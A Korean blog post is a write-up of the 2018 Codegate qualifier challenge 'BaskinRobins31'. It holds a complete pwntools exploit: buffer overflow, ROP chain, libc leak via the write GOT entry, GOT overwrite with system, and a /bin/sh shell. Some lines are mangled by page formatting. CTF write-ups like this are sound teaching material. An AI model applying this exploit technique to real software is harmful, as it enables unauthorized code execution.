티스토리 뷰

지금 malloc.c 분석을 하며 문서를 작성하느라 블로그에 올릴게 없다..

그 동안 풀어봤던 문제들 몇개를 계속 올려야겠다.

 

BaskinRobins31
0.01MB

2018 코게 예선으로 나온 baskinrobins31이다

간단한 64bit ROP이다.

 

64bit, partial RELRO뿐이다.

 

메인의 내용은 별거없으니 pass한다.

int main()

{

     Intro()

     your_turn()

     computer_turn()

}

your_turn()에서 입력받을때 bof가 충분히 터지고 got overwrite이 가능하기에 ROP로 shell취득이 가능하다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
 
#context.log_level = 'debug'
 
= process('./BaskinRobins31')
= ELF('./BaskinRobins31')
= e.libc
bss = e.bss()
 
pop = 0x000000000040087a
prdi = 0x0000000000400bc3
 
read_plt = e.plt['read']
read_got = e.got['read']
 
write_plt = e.plt['write']
write_got = e.got['write']
 
pay = "A" * 184
 
pay += p64(pop)
pay += p64(0+ p64(bss) + p64(8)
pay += p64(read_plt)
 
pay += p64(pop)
pay += p64(1+ p64(write_got) + p64(8)
pay += p64(write_plt)
 
pay += p64(pop)
pay += p64(0+ p64(write_got) + p64(8)
pay += p64(read_plt)
 
pay += p64(prdi)
pay += p64(bss)
pay += p64(write_plt)
 
p.recvuntil('How many numbers do you want to take ? (1-3)')
 
p.send(pay)
sleep(0.5)
p.send('/bin/sh\x00')
sleep(0.5)
 
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8'\x00'))
base = leak - l.sym['write']
sys = base + l.sym['system']
 
log.info('leak : ' + hex(leak))
log.info('libc : ' + hex(base))
log.info('sys : ' + hex(sys)) 
 
p.send(p64(sys))
 
p.interactive()
 

 

 

댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
TAG
more
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함